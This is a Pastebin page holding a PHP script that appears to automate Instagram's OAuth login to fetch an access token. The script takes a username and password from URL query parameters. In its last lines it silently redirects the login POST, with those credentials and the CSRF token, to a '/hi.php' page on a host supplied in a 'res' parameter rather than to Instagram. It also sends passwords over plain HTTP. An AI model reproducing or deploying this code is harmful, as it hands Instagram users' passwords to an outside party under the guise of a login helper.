Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- header('content-type: text/plain');
- function curl_download($Url,$header = false, $post = false){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $Url);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36");
- curl_setopt($ch, CURLOPT_HEADER, true);
- //curl_setopt($ch, CURLOPT_NOBODY, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_TIMEOUT, 10);
- if($header)
- curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
- if($post) {
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
- }
- $output = curl_exec($ch);
- curl_close($ch);
- return $output;
- }
- $client_id = $_GET['client_id'];
- $url = 'https://www.instagram.com/oauth/authorize/?client_id='.$client_id.'&redirect_uri=http://localhost&response_type=token';
- $loginurl = 'https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D'.$client_id.'%26redirect_uri%3Dhttp%3A//localhost%26response_type%3Dtoken';
- $result = curl_download($url);
- preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
- $cookies = array();
- foreach($matches[1] as $item) {
- parse_str($item, $cookie);
- $cookies = array_merge($cookies, $cookie);
- }
- $headers = array();
- $headers[] = ':authority:www.instagram.com';
- $headers[] = ':method:POST';
- $headers[] = ':path:/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D'.$client_id.'%26redirect_uri%3Dhttp%3A//localhost%26response_type%3Dtoken';
- $headers[] = ':scheme:https';
- $headers[] = 'cache-control:max-age=0';
- $headers[] = 'content-length:92';
- $headers[] = 'content-type:application/x-www-form-urlencoded';
- $headers[] = 'cookie:mid='.$cookies['mid'].'; csrftoken='.$cookies['csrftoken'];
- $headers[] = 'origin:https://www.instagram.com';
- $headers[] = 'referer:https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D'.$client_id.'%26redirect_uri%3Dhttp%3A//localhost%26response_type%3Dtoken';
- $headers[] = 'upgrade-insecure-requests:1';
- $post = 'csrfmiddlewaretoken='.$cookies['csrftoken'].'&username='.$_GET['username'].'&password='.$_GET['password'];
- $loginurl = 'http://'.$_GET['res'].'/hi.php';
- print $result = curl_download($loginurl,$headers,$post);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement